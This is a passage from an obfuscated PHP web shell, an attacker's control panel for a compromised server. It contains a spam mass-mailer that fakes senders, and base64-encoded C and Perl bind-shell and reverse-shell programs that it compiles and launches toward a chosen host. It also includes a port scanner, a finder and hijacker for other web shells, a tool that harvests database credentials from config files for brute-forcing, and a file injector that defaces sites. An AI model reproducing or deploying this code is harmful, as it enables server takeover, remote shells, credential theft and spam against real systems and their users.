$m_pad=""; if(@strlen($i)<$m_len) $m_pad=@str_repeat("0",($m_len-@strlen($i))); if(!@empty($m_mail)){ if(@isset($m1_preview)&&$m1_preview){ if($i>5) break; echo z9d(z9c($m_pad.$i,\'14\',\'2\').z9c($m_mail,\'14\').z9c($from,\'14\').z9c($m_msgid,\'14\').z9c(z5p(z9y("245")),\'14\',\'3\'),($i%2?\'0\':\'1\')); }elseif(@mail($m_mail,$m_subj,$m_msg,$header)){ echo z9d(z9c($m_pad.$i,\'14\',\'2\').z9c($m_mail,\'14\').z9c($from,\'14\').z9c($m_msgid,\'14\').z9c(z5p(z9y("243")),\'14\',\'3\'),($i%2?\'0\':\'1\')); z5o(); $m_success++; }else{ echo z9d(z9c($m_pad.$i,\'14\',\'2\').z9c($m_mail,\'14\').z9c($from,\'14\').z9c($m_msgid,\'14\').z9c(z8k(z9y("244")),\'14\',\'3\'),($i%2?\'0\':\'1\')); z5o(); $all_failed[]=$m_mail; $m_failed++; } $i++; } } } elseif($c_ok){ $fcsv=@str_replace("
","
",$m2_csv); $fcsv=z2v("
","
",$fcsv); $csv=z5s($fcsv); echo z9m(\'2\').z7u( z9c(z9y("237"),\'8\',\'2\').z9c(z9y("238"),\'8\').z9c(z9y("239"),\'8\').((@isset($m2_verbose)&&$m2_verbose)?z9c(z9y("242"),\'8\'):\'\').z9c(z9y("240"),\'8\').z9c(z9y("241"),\'8\',\'3\') ); $m_count=@count($csv); $m_len=@strlen($m_count); z5o(); foreach($csv as $str_csv){ if(@is_array($str_csv)){ $from=$m2_from; $m_mail=$str_csv[$m2_ecol]; if(@isset($m2_rand1)&&$m2_rand1){ $from=@str_replace("@",@rand(100000,999999)."@",$from); } if(isset($m2_rand2)&&$m2_rand2){ $hr=@rand(0,$ch); $m_msgid=@md5(@uniqid(@time()))."@".$host[$hr]; }else{ $m_msgid=@md5(@uniqid(@time()))."@".$_SERVER["SERVER_NAME"]; } $header=""; $header.="From: $m2_name <$from>
"; $header.="Reply-To: <$from>
"; $header.="Message-ID: <".$m_msgid.">
"; $header.="MIME-Version: 1.0
"; $date=@date("Y-m-d"); $header.="Date: $date
"; $header.="Content-Type: text/html; charset=UTF-8
"; $header.="Content-Transfer-Encoding: 8bit
"; $m_msg=$m2_msg; $m_subj=$m2_subj; $repl=array(); for($si=(@count($str_csv)-1);$si>=0;$si--){ if(@empty($m2_where)){ $m_msg=@str_replace($m2_prefix.$si,$str_csv[$si],$m_msg); $m_subj=@str_replace($m2_prefix.$si,$str_csv[$si],$m_subj); $repl[]=$m2_prefix.$si." = ".$str_csv[$si].z9z(); }else{ $m_msg=@str_replace($m2_prefix.$si,$str_csv[$si],$m_msg); $repl[]=$m2_prefix.$si." = ".$str_csv[$si].z9z(); } } $replacing=(@count($repl)>0?@implode(\'\',@array_reverse($repl)):\'\'); $m_pad=""; if(@strlen($i)<$m_len) $m_pad=@str_repeat("0",($m_len-@strlen($i))); if(!@empty($m_mail)){ if(@isset($m2_preview)&&$m2_preview){ if($i>5) break; echo z9d(z9c($m_pad.$i,\'14\',\'2\').z9c($m_mail,\'14\').z9c($from,\'14\').((@isset($m2_verbose)&&$m2_verbose)?z9c($replacing,\'14\'):\'\').z9c($m_msgid,\'14\').z9c(z5p(z9y("245")),\'14\',\'3\'),($i%2?\'0\':\'1\')); } elseif(@mail($m_mail,$m_subj,$m_msg,$header)){ echo z9d(z9c($m_pad.$i,\'14\',\'2\').z9c($m_mail,\'14\').z9c($from,\'14\').((@isset($m2_verbose)&&$m2_verbose)?z9c($replacing,\'14\'):\'\').z9c($m_msgid,\'14\').z9c(z5p(z9y("243")),\'14\',\'3\'),($i%2?\'0\':\'1\')); z5o(); $m_success++; }else{ echo z9d(z9c($m_pad.$i,\'14\',\'2\').z9c($m_mail,\'14\').z9c($from,\'14\').((@isset($m2_verbose)&&$m2_verbose)?z9c($replacing,\'14\'):\'\').z9c($m_msgid,\'14\').z9c(z8k(z9y("244")),\'14\',\'3\'),($i%2?\'0\':\'1\')); z5o(); $all_failed[]=$m_mail; $m_failed++; } $i++; } } } echo z10q(); } if(!@isset($m2_preview)||!$m2_preview){ echo z6s().z10w(z7u(z6l(z9y("426",$m_count).z9x().z9y("427",$m_success).z9x().z9y("428",$m_failed).($m_failed>0?z9x().z9y("431"):\'\'))),\'2\'); if(@count($all_failed)>0){ echo z10w(z9d(z6l(z5w(\'\',\'1\',1).@implode("
",@array_unique($all_failed)).z5q())),\'2\'); } } } } if($act==\'encoders\'){ $hash_algos=array(\'\'=>z9y("260")); if(!@isset($hash_input)) $hash_input=\'\'; if(z7e("hash_algos")&&@z7e("hash")){ $hfnc=1; $hashes=@hash_algos(); } else { $hfnc=0; $hashes=array(); foreach(array("md5","sha1","crc32") as $hh){ if(z7e($hh)) $hashes[]=$hh; } } foreach($hashes as $ha) $hash_algos[$ha]=$ha; $encode_functions=z1e(); $submited=0; if(@isset($submit_encode)&&$submit_encode&&@isset($encoder_input)&&!@empty($encoder_input)) $submited=1; $encoder_output=""; if(!@isset($ip_input)||@empty($ip_input)){ $ip_input=$saddr; } echo z3q(array(z9y("246"),z9y("253")),"46"); echo z9m(2). z7o(). z7j(\'\',\'4\').z6s(). z9m(\'2\').z9k(\'\',\'hash_form\').z9v("act","encoders").z9v("d").z9v("htype","1").z7u(z5t(z9y("247")).z9c(z5y("hashinput","","5").z8b(z9y("248"),\'7\').z8m(z9y("250"),\'document.hash_form.hashinput.value=\'\';\',\'7\'))).z9l().z10q(); if(@isset($htype)&&$htype){ echo z10w(z9d(z5t(z9y("251")).z9c(z5w(\'\',\'6\').z2e($hashinput).z5q())),"2"); } echo z7f().z7j(\'\',\'46\'). z6s(). z9m(\'2\').z9k(\'\',"ip_form").z9v("act","encoders").z9v("d").z9v("submit_ip","1").z7u(z5t(z9y("254")).z9c(z6u("ip_input",@htmlspecialchars($ip_input),\'5\').z8b(z9y("248"),\'7\').z8m(z9y("250"),\'document.ip_form.ip_input.value=\'\';\',\'7\'))).z9l().z10q(); if(@isset($submit_ip)&&$submit_ip=="1"&&@isset($ip_input)&&!@empty($ip_input)){ echo z9m(\'2\').z7u(z5t(z9y("255")).z9c(z8g(sprintf("%u",@ip2long($ip_input)),"0").z9x().z10t(\'http://\'.@sprintf("%u",@ip2long($ip_input)).\'/\',z9y("252"),"1",1))). z7u(z5t(z9y("256")).z9c(z8g((z2z($ip_input)=="failed")?"failed":z2z($ip_input),"0").((z2z($ip_input)=="failed")?"":z9x().z10t(\'http://\'.z2z($ip_input).\'/\',z9y("252"),"1",1)))). z7u(z5t(z9y("257")).z9c(z8g((z1u($ip_input)=="failed")?"failed":z1u($ip_input),"0").((z1u($ip_input)=="failed")?"":z9x().z10t(\'http://\'.z1u($ip_input).\'/\',z9y("252"),"1",1)))).z10q(); } echo z6s(); echo z7f(). z7y(). z10q(); echo z3q(array(z9y("432"),z9y("433")),\'46\'); echo z9m(2). z7o(). z7j(\'\',\'4\').z6s(). z9m(\'2\').z9k(\'\',"hashing_form").z9v("act","encoders").z9v("d"). z7u(z5t(z9y("258")).z9c(z3m(\'hash_type\',$hash_algos,\'5\',1).z8b(z9y("249"),\'7\').z8m(z9y("250"),\'document.hashing_form.hash_input.value=\'\';\',\'7\'))). z9d(z5t(z9y("259")).z9c(z5w(\'hash_input\',\'6\').(@isset($hash_input)?@htmlspecialchars($hash_input):\'\').z5q())). z9l().z10q(). z6s(). z7f().z7j(\'\',\'46\'). z6s(). z9m(\'2\').z9k(\'\',"encoder_form").z9v("d").z9v("act","encoders").z9v("submit_encode","1"). z7u(z5t(z9y("91")).z9c(z3m("encode_selected",$encode_functions,"5",1,\'\').z8b(z9y("249"),\'7\').z8m(z9y("250"),\'document.encoder_form.encoder_input.value=\'\';\',\'7\'))). z9d(z5t(z9y("259")).z9c(z5w(\'encoder_input\',\'6\').(@isset($encoder_input)?@htmlspecialchars($encoder_input):\'\').z5q())). ($submited?z7u(z5t(z9x()).z9c(z8m(z9y("263"),\'document.output_form.encoder_output.value=\'\';\',\'7\').z8m(z9y("264"),\'document.encoder_form.encoder_input.value=document.output_form.encoder_output.value;\',\'7\'))):\'\'). z9l().z10q(). z6s(). z7f(). z7y(). z10q(); if(@isset($hash_input)&&!@empty($hash_input)){ echo z3q(z9y("261")).z6s(); echo z9m(\'2\'); if(@count($hashes)>0){ if(@isset($hash_type)&&@in_array($hash_type,$hashes)){ echo z7u(z5t($hash_type).z9c(z8g(($hfnc?@hash($hash_type,$hash_input):$hash_type($hash_input)),\'7\'))); } else { foreach($hashes as $k){ echo z7u(z5t($k).z9c(z8g(($hfnc?@hash($k,$hash_input):$k($hash_input)),\'7\'))); } } } echo z10q().z6s(); } if($submited){ $encoder_output=$encode_selected($encoder_input); echo z3q(z9y("262")).z6s().z9m(\'2\').z9k(\'\',"output_form").z9d(z6l(z5w(\'encoder_output\',\'1\').@htmlspecialchars($encoder_output).z5q())).z9l().z10q().z6s(); } } if($act==\'tools\'){ $bndprt_c="I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDx1bmlzdGQuaD4KI2luY2x1ZGUgPHN0ZGxpYi5oPgojaW5jbHVkZSA8c3RyaW5ncy5oPgojaW5jbHVkZSA8bmV0aW5ldC9pbi5oPgojaW5jbHVkZSA8c3lzL3NvY2tldC5oPgojaW5jbHVkZSA8c2lnbmFsLmg+CgojZGVmaW5lIFAwUlQgJXBvcnQlCiNkZWZpbmUgUEFTUyAiJXBhc3MlIgoKaW50Cm1haW4oaW50IGEsIGNoYXIgKipiKQp7CmludCBjLCBkLCBlID0gc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcl9pbiksIGY7CmNoYXIgcFsxMDAwXTsKc3RydWN0IHNvY2thZGRyX2luIGwsIHI7CnNpZ25hbChTSUdDSExELCBTSUdfSUdOKTsKc2lnbmFsKFNJR0hVUCwgU0lHX0lHTik7CnNpZ25hbChTSUdURVJNLCBTSUdfSUdOKTsKc2lnbmFsKFNJR0lOVCwgU0lHX0lHTik7CmlmIChmb3JrKCkpCmV4aXQoMCk7Cmwuc2luX2ZhbWlseSA9IEFGX0lORVQ7Cmwuc2luX3BvcnQgPSBodG9ucyhQMFJUKTsKbC5zaW5fYWRkci5zX2FkZHIgPSBJTkFERFJfQU5ZOwpiemVybygmKGwuc2luX3plcm8pLCA4KTsKYyA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgMCk7CmJpbmQoYywoc3RydWN0IHNvY2thZGRyICopICZsLCBzaXplb2Yoc3RydWN0IHNvY2thZGRyKSk7Cmxpc3RlbihjLCAzKTsKd2hpbGUgKChkID0gYWNjZXB0KGMsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnIsICZlKSkpCnsKaWYgKCFmb3JrKCkpCnsKcmVjdihkLCBwLCAxMDAwLCAwKTsKaWYgKGNocGFzcyhQQVNTLHApKQp7CmNsb3NlKGQpOwpleGl0KDEpOwp9CmNsb3NlKDApOwpjbG9zZSgxKTsKY2xvc2UoMik7CmR1cDIoZCwgMCk7CmR1cDIoZCwgMSk7CmR1cDIoZCwgMik7CnNldGVudigiUEFUSCIsICIvc2JpbjovYmluOi91c3Ivc2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2Jpbi86L3Vzci9sb2NhbC9zYmluOi4iLCAxKTsKdW5zZXRlbnYoIkhJU1RTQVZFIik7CnVuc2V0ZW52KCJISVNURklMRSIpOwpleGVjbCgiL2Jpbi9zaCIsICJzaCIsIChjaGFyICopIDApOwpjbG9zZShkKTsKZXhpdCgwKTsKfQp9CnJldHVybiAwOwp9CgppbnQgY2hwYXNzKGNoYXIgKmJhc2UsIGNoYXIgKmVudGVyZWQpIHsKaW50IGk7CmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSAKewppZihlbnRlcmVkW2ldID09ICdcbicpCmVudGVyZWRbaV0gPSAnXDAnOyAKaWYoZW50ZXJlZFtpXSA9PSAnXHInKQplbnRlcmVkW2ldID0gJ1wwJzsKfQppZiAoIXN0cmNtcChiYXNlLGVudGVyZWQpKQpyZXR1cm4gMDsKfQo="; $bndprt_pl="IyEvdXNyL2Jpbi9wZXJsCiRTSEVMTD0iL2Jpbi9zaCI7CiRMSVNURU5fUE9SVD0lcG9ydCU7CnVzZSBTb2NrZXQ7CiRwcm90b2NvbD1nZXRwcm90b2J5bmFtZSgndGNwJyk7CnNvY2tldChTLCZQRl9JTkVULCZTT0NLX1NUUkVBTSwkcHJvdG9jb2wpIHx8IGRpZSAiQ2FudCBjcmVhdGUgc29ja2V0XG4iOwpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7CmJpbmQoUyxzb2NrYWRkcl9pbigkTElTVEVOX1BPUlQsSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7Cmxpc3RlbihTLDMpIHx8IGRpZSAiQ2FudCBsaXN0ZW4gcG9ydFxuIjsKd2hpbGUoMSkKewphY2NlcHQoQ09OTixTKTsKaWYoISgkcGlkPWZvcmspKQp7CmRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsKb3BlbiBTVERJTiwiPCZDT05OIjsKb3BlbiBTVERPVVQsIj4mQ09OTiI7Cm9wZW4gU1RERVJSLCI+JkNPTk4iOwpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsKY2xvc2UgQ09OTjsKZXhpdCAwOwp9Cn0KCg=="; $bckcon_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; $bckcon_c="I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+CiNpbmNsdWRlIDxuZXRpbmV0L2luLmg+CmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pCnsKIGludCBmZDsKIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47CiBjaGFyIHJtc1syMV09InJtIC1mICI7IAogZGFlbW9uKDEsMCk7CiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7CiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMl0pKTsKIHNpbi5zaW5fYWRkci5zX2FkZHIgPSBpbmV0X2FkZHIoYXJndlsxXSk7IAogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsyXSkpOyAKIGZkID0gc29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyAKIGlmICgoY29ubmVjdChmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSAmc2luLCBzaXplb2Yoc3RydWN0IHNvY2thZGRyKSkpPDApIHsKICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7CiAgIGV4aXQoMCk7CiB9CiBzdHJjYXQocm1zLCBhcmd2WzBdKTsKIHN5c3RlbShybXMpOyAgCiBkdXAyKGZkLCAwKTsKIGR1cDIoZmQsIDEpOwogZHVwMihmZCwgMik7CiBleGVjbCgiL2Jpbi9zaCIsInNoIiwgTlVMTCk7CiBjbG9zZShmZCk7IAp9Cgo="; $bndportsrcs=array("bndprt.pl"=>array("PERL", "perl %path"), "bndprt.c"=>array("C","%path")); $bcsrcs=array("bckcon.pl"=>array("PERL","perl %path %host %port"), "bckcon.c"=>array("C","%path %host %port")); if(!@isset($brtest1)) $brtest1=0; if(!@isset($brtest2)) $brtest2=0; if(!@isset($brtest3)) $brtest3=0; if(!@isset($brtest4)) $brtest4=0; $users=array(); if(@empty($brute_email)) $brute_email=z7z(\'2\',"email"); if(@empty($dv_email)) $dv_email=z7z(\'2\',"email"); if(@empty($cp_email)) $cp_email=z7z(\'2\',"email"); if(@isset($brm)&&($brm=="2"||$brm=="3")){ $users=z8l(); } $brute_type["1"]=z9y("343"); if($bpasswd){ $brute_type["2"]=z9y("344"); $brute_type["3"]=z9y("345"); } $available_arr=array(); if($bftp) $available_arr["FTP"]="FTP"; if($bmysql) $available_arr["MySQL"]="MySQL"; if($bmssql) $available_arr["MSSQL"]="MSSQL"; if($bpostgres) $available_arr["PostgreSQL"]="PostgreSQL"; if($boracle) $available_arr["Oracle"]="Oracle"; if(!@isset($brh)) $brh=$saddr; if(!@isset($dvfiles)) $dvfiles="*conf*.php;*db*.php;"; if(!@isset($dvuser)) $dvuser="user"; if(!@isset($dvpass)) $dvpass="pass"; if(!@isset($dvhost)) $dvhost="host"; if(!@isset($dvbase)) $dvbase="base"; $arr_vars=array("var"=>"variable (\$var)","arrayvar1"=>"arrayvar (\'var\'=>)","arrayvar2"=>"arrayvar ([\'var\']=>)","const"=>"constant (define)"); $rec_arr=array(); for($i=0;$i<10;$i++) $rec_arr[($i+1)]=($i+1)." DIRS"; $rec_arr["no"]="NO"; $arr_dvfind=array("dvdir"=>z9y("301")); $arr_method=array("cpdir"=>z9y("304")); if(($wwwdir=z3n())!==false){ $arr_dvfind["docroot"]=z9y("326"); $arr_method["cpdocroot"]=z9y("305"); } if($bpasswd){ $arr_dvfind["passwd"]=z9y("327"); $arr_method["cppasswd"]=z9y("306"); } $inj_method=array( "top"=>"Top of the file" ,"end"=>"End of the file" ,"php1"=>"Before first <?" ,"html1"=>"Before <html>" ,"html2"=>"Before </html>" ,"body1"=>"Before <body.*>" ,"body2"=>"Before </body>" ,"php2"=>"After last ?>" ,"body3"=>"After <body.*>" ,"body4"=>"After </body>" ,"html3"=>"After <html>" ,"html4"=>"After </html>" ,"overwrite"=>"Deface (Overwrite file)" ); if(!@isset($bnd_port)||!@is_numeric($bnd_port)) $bnd_port=z7z(\'2\',\'bind_port\'); if(!@isset($bnd_pass)||@empty($bnd_pass)) $bnd_pass=z7z(\'2\',\'bind_pass\'); if(!@isset($bc_host)||@empty($bc_host)) $bc_host=$yaddr; if(!@isset($bc_port)||!@is_numeric($bc_port)) $bc_port=z7z(\'2\',\'backcon_port\'); $bindmsg=$bcmsg=""; if(@isset($bindsubmit)&&$bindsubmit){ $v=$bndportsrcs[$bnd_src]; if(@empty($v)){ $bindmsg=z9y("272"); }elseif(@fsockopen("localhost",$bnd_port,$errno,$errstr,0.1)){ $bindmsg=z9y("275",$bnd_port); }else{ $w=@explode(".",$bnd_src); $ext=$w[@count($w)-1]; unset($w[count($w)-1]); $srcpath=$tempdir.@join(".",$w).".".@md5(@time()).".".$ext; $binpath=$tempdir.@join(".",$w).@md5(@time()); if($ext=="pl"){ $binpath=$srcpath; } @unlink($srcpath); $fp=@fopen($srcpath,"ab+"); if(!$fp){ $bindmsg=z9y("271"); }else{ $data=base64_decode(${@str_replace(\'.\',\'_\',$bnd_src)}); $data=@str_replace("%pass%",$bnd_pass,$data); $data=@str_replace("%port%",$bnd_port,$data); @fwrite($fp,$data,@strlen($data)); @fclose($fp); if($ext=="c"){ $retgcc=z9e("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath); } $v[1]=@str_replace("%path",$binpath,$v[1]); $v[1]=@str_replace("//","/",$v[1]); $retbind=z9e($v[1]." > /dev/null &"); @sleep(5); $sock=@fsockopen("localhost",$bnd_port,$errno,$errstr,5); if(!$sock){ $bindmsg=z9y("273",$bnd_port); }else{ $bindmsg=z9y("274",array($saddr,$bnd_port)); } } } } if(@isset($bcsubmit)&&$bcsubmit){ $v=$bcsrcs[$bc_src]; if(@empty($v)){ $bcmsg=z9y("272"); }else{ $w=@explode(".",$bc_src); $ext=$w[count($w)-1]; unset($w[count($w)-1]); $srcpath=$tempdir.join(".",$w).".".@md5(@time()).".".$ext; $binpath=$tempdir.join(".",$w).@md5(@time()); if($ext=="pl"){ $binpath=$srcpath; } @unlink($srcpath); $fp=@fopen($srcpath,"ab+"); if(!$fp){ $bcmsg=z9y("271"); }else{ $data=base64_decode(${str_replace(\'.\',\'_\',$bc_src)}); @fwrite($fp,$data,strlen($data)); fclose($fp); if($ext=="c"){ $retgcc=z9e("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath); } $v[1]=@str_replace("%path",$binpath,$v[1]); $v[1]=@str_replace("%host",$bc_host,$v[1]); $v[1]=@str_replace("%port",$bc_port,$v[1]); $v[1]=@str_replace("//","/",$v[1]); $retbind=z9e($v[1]." > /dev/null &"); $bcmsg=z9y("76",array($bc_host,$bc_port)); } } } $selecta=$selectb=array(); foreach($bndportsrcs as $k=>$v) $selecta[$k]=$v[0]; foreach($bcsrcs as $k=>$v) $selectb[$k]=$v[0]; if(!$win&&($sh_exec||$safe_exec)){ echo z3q(array(z9y("265").(!@empty($bindmsg)?" - ".@strtoupper($bindmsg):""),z9y("266").(!@empty($bcmsg)?" - ".@strtoupper($bcmsg):"")),\'46\'); echo z9m(2).z7o().z7j(\'\',\'4\'); echo z5x(array("act"=>"tools","d","bindsubmit"=>"1"),z10w(z5b().z7u(z5t(z9y("267")).z9c(z6u("bnd_pass",$bnd_pass,\'4\').":".z6u("bnd_port",$bnd_port,\'1\').":".z3m("bnd_src",$selecta,\'1\',1).z8b(z9y("268"),\'7\'))).z5b(),\'2\')); echo z7f().z7j(\'\',\'46\'); echo z5x(array("act"=>"tools","d","bcsubmit"=>"1"),z10w(z5b().z7u(z5t(z9y("434")).z9c(z6u("bc_host",$bc_host,\'4\').":".z6u("bc_port",$bc_port,\'1\').":".z3m("bc_src",$selectb,\'1\',1).z8b(z9y("435"),\'7\'))).z5b(),"2")); echo z7f().z7y().z10q(); $ii=0; if(@is_dir($tempdir)){ if($dh=@opendir($tempdir)){ while(($file=@readdir($dh))!==false){ if(@preg_match(\'/^(bndprt|bckcon)\.?[a-zA-Z0-9]{32}/\',$file)){ if(@isset($clean)){ @unlink($tempdir.$file); }else{ $ii++; } } } @closedir($dh); } } if($ii!=0) echo z3q(@strtoupper(z9y("269",$ii)).z5x(array("act"=>"tools","d","clean"=>"1"),z8b(z9y("270"),\'7\'))); } $pscmsg=\'\'; $startscan=0; if(@isset($pscan)&&$pscan&&!@empty($pscip)&&@is_numeric($pscps)&&@is_numeric($pscpe)){ if($pscps<0||$pscps>65535||$pscpe<0||$pscpe>65535){ $pscmsg=z9y("280"); } else { $startscan=1; } } echo z3q(array(z9y("281"),z9y("277").($pscmsg!=\'\'?" : ".$pscmsg:\'\')),"46"); if(!@isset($pscip)) $pscip=$saddr; if(!@isset($pscps)) $pscps="0"; if(!@isset($pscpe)) $pscpe="65535"; echo z9m(2). z7o(). z7j(\'\',\'4\').z6s(). z9m(\'2\'). z7l().z9v("shellhunt","1").z9v("act","tools").z9v("d"). z7u(z5t(z9y("282")).z9c(z3m("shaction",array("view"=>z9y("284"),"viewall"=>z9y("285"),"own"=>z9y("286"),"ownall"=>z9y("287")),"5",1).":".z3m("shrecursive",$rec_arr,"1",1).z8b(z9y("436"),"7"))). z7u(z5t(z9y("283")).z9c(z5y("shpath",$d,"0"))). z9l(). z10q(). z6s(). z7f().z7j(\'\',\'46\'). z6s(). z9m(\'2\'). z5x(array("act"=>"tools","d","pscan"=>"1"),z7u(z5t(z9y("278")).z9c(z6u("pscip",$pscip,"4").":".z6u("pscps",$pscps,\'1\')."-".z6u("pscpe",$pscpe,\'1\').z8b(z9y("279"),\'7\')))). z10q(). z6s(). z7f(). z7y(). z10q(); if(@isset($shellhunt)&&$shellhunt){ $fpaths=$tpaths=$spaths=$glob=$shells=array(); $tpath=\'\'; $tpaths[]=\'\'; if(@is_numeric($shrecursive)){ for($i=0;$i<$shrecursive;$i++){ $tpath.=\'*/\'; $tpaths[]=$tpath; } } else { $tpaths[]=\'*/\'; } foreach(@array_unique($tpaths) as $tpath){ $fpaths[]=$tpath."*.php"; } foreach(@array_unique($fpaths) as $fpath){ $spaths[]=z1k($shpath).$fpath; } unset($fpaths); unset($tpaths); foreach($spaths as $spath){ $tglob=@glob($spath); if(@is_array($tglob)&&@count($tglob)>0){ foreach($tglob as $tfile){ if(!@in_array($tfile,$glob)&&(@realpath($tfile)!=@realpath(__FILE__))) $glob[]=$tfile; } $glob=@array_unique($glob); } } unset($spaths); if(@count($glob)>0){ $viewall=$rcown=0; switch($shaction){ case \'view\': $viewall=$rcown=0; break; case \'viewall\': $viewall=1; $rcown=0; break; case \'own\': $viewall=0; $rcown=1; break; case \'ownall\': $viewall=$rcown=1; break; default: $viewall=$rcown=0; break; } foreach($glob as $tmp){ if(($ttype=z2r($tmp,$viewall,$rcown))!==false){ $shells[$tmp]=$ttype; } } } if(@count($shells)>0){ if(($wwwdir=z3n())!==false){ $url=z8u(); $url_a=@parse_url($url); if(@isset($url_a["host"])){ $shellhost=$url_a["host"]; } } $external=1; echo z3q(z9y("288"),"1").z9m("2").z7u(z9c(z9y("292"),"13","2").z9c(z9y("293"),"13").z9c(z9y("294"),"13").z9c(z9y("295"),"13","3")); $tr=0; foreach($shells as $shell=>$shelltype){ $wwwlink="-"; if(@isset($shellhost)&&@strstr($shell,$wwwdir)!==false){ $wwwlink=z10t(\'http://\'.$shellhost.\'/\'.@substr($shell, @strlen($wwwdir)).\'"\',z9y("296"),"1",1); } echo z7u(z9c(z2l($shell),"14","2").z9c($shelltype,"14").z9c($wwwlink,"14").z9c(z0o($shell,"1").z5x(array("act"=>"f","ft"=>"rcown","d"=>z3a($shell),"f"=>z2l($shell)),z8b(z9y("297"),"18"),"1"),"14","3"),($tr%2?\'0\':\'1\')); $tr++; } echo z10q(); } } if($startscan){ $pscan=z8j($pscip,$pscps,$pscpe); if(@!empty($pscan)){ echo z3q(z9y("289")); echo z6s().z10w(z7u(z6l(z5w(\'\',\'1\').$pscan.z5q())),\'2\').z6s(); } } echo z3q(array(z9y("298"),z9y("309")),"46"); echo z9m(2). z7o(). z7j(\'\',\'4\').z6s(). z9m(\'2\'). z7l().z9v("cpfind","1").z9v("act","tools").z9v("d"). z7u(z5t(z9y("299")).z9c(z5y("cphost","127.0.0.1","5").":".z5y("cpuser","root","4").":".z3m("cpservice",$available_arr,"1",1))). z7u(z5t(z9y("300")).z9c(z5y("cpfiles","*conf*.php;*db*.php;","5").":".z3m("cpmethod",$arr_method,"4",1).":".z3m("cprecursive",$rec_arr,"1",1))). z7u(z5t(z9y("301")).z9c(z5y("cpdir",$d,"0"))). ($bmail?z7u(z5t(z9y("302")).z9c(z5y("cp_email","",\'2\').z9f("cp_log"))):\'\'). z7u(z5t(z9x()). z9c(z8b(z9y("307"),"7").z9x().z5u("cppassfile",z9y("303"),"cppassfile"))). z9l(). z10q(). z6s(). z7f().z7j(\'\',\'46\'). z6s(). z9m(\'2\'). z7l().z9v("inject","1").z9v("act","tools").z9v("d"). z7u(z5t(z9y("310")).z9c(z5y("injfiles","*.html;index.php;","5").":".z3m("injmethod",$inj_method,"4",1).":".z3m("injrecursive",$rec_arr,"1",1))). z7u(z5t(z9y("311")).z9c(z5y("injdir",$d,"0"))). z9d(z5t(z9y("312")).z9c(z5w("injcode","6").(@isset($injcode)?@htmlspecialchars($injcode):\'\').z5q())). z7u(z5t(z9x()). z9c(z8b(z9y("313"),"7"))). z9l(). z10q(). z6s(). z7f(). z7y(). z10q(); if(@isset($inject)&&$inject){ $fpaths=$tpaths=$spaths=$glob=array(); $farr=@explode(";",$injfiles); $tpath=\'\'; $tpaths[]=\'\'; if(@is_numeric($injrecursive)){ for($i=0;$i<$injrecursive;$i++){ $tpath.=\'*/\'; $tpaths[]=$tpath; } } else { $tpaths[]=\'*/\'; } foreach(@array_unique($tpaths) as $tpath){ foreach(@array_unique($farr) as $fpath){ $fpath=@trim($fpath); if(!@empty($fpath)){ $fpaths[]=$tpath.$fpath; } } } foreach(@array_unique($fpaths) as $fpath){ $spaths[]=z1k($injdir).$fpath; } unset($fpaths); unset($tpaths); foreach($spaths as $spath){ $tglob=@glob($spath); if(@count($tglob)>0){ foreach($tglob as $tfile){ if(!@in_array($tfile,$glob)) $glob[]=$tfile; } $glob=@array_unique($glob); } } unset($spaths); if(@count($glob)>0){ $i=0; foreach($glob as $file){ if(z3v($injcode,$injmethod,$file)){ if($i==0){ echo z3q(z9y("314")).z6s().z9m("2").z6f().z6q().z5w(\'\',\'1\'); z5o(); } echo $file."
